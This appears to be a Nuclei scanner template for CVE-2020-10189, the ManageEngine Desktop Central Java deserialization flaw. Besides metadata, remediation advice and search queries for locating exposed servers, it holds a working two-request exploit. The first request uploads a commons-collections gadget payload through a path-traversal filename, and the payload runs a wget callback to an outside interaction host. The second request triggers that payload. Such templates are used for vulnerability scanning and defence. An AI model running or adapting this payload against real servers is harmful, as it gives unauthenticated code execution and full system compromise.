id: CVE-2020-10189

info:
  name: ManageEngine Desktop Central Java Deserialization
  author: king-alexander
  severity: critical
  description: |
    Zoho ManageEngine Desktop Central before 10.0.474 is vulnerable to a deserialization of untrusted data, which permits remote code execution.
  impact: |
    Unauthenticated attackers can execute arbitrary code on Zoho ManageEngine Desktop Central servers, leading to complete system compromise and access to all managed endpoints.
  remediation: |
    Upgrade to ManageEngine Desktop Central Build 10.0.474 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-10189
    - https://blog.reconinfosec.com/analysis-of-exploitation-cve-2020-10189
    - https://www.manageengine.com/products/desktop-central/remote-code-execution-vulnerability.html
    - https://y4er.com/posts/cve-2020-10189-zoho-manageengine-rce/
    - https://cwe.mitre.org/data/definitions/502.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-10189
    cwe-id: CWE-502
    epss-score: 0.94248
    epss-percentile: 0.99932
    cpe: cpe:2.3:a:zohocorp:manageengine_desktop_central:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zohocorp
    product: manageengine_desktop_central
    fofa-query:
      - body="manageengine desktop central 10"
      - title="manageengine desktop central 10"
      - app="zoho-manageengine-desktop"
    shodan-query: http.title:"manageengine desktop central 10"
    google-query: intitle:"manageengine desktop central 10"
  tags: cve,cve2020,kev,zoho,manageengine,deserialization,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /mdm/client/v1/mdmLogUploader?udid=si%5C..%5C..%5C..%5Cwebapps%5CDesktopCentral%5C_chart&filename=logger.zip HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{generate_java_gadget("commons-collections3.1","wget http://{{interactsh-url}}","raw")}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

  - raw:
      - |
        GET /cewolf/?img=%5Clogger.zip HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100d0f46119f7e829bb3376d76bca05c0b03d4719b3d6c94b427f5123b152ee0049022100a91d159d46e4d3a3c4601efa6ca26b8b24196546f3a20749434238933f506359:922c64590222798bb761d5b6d8e72950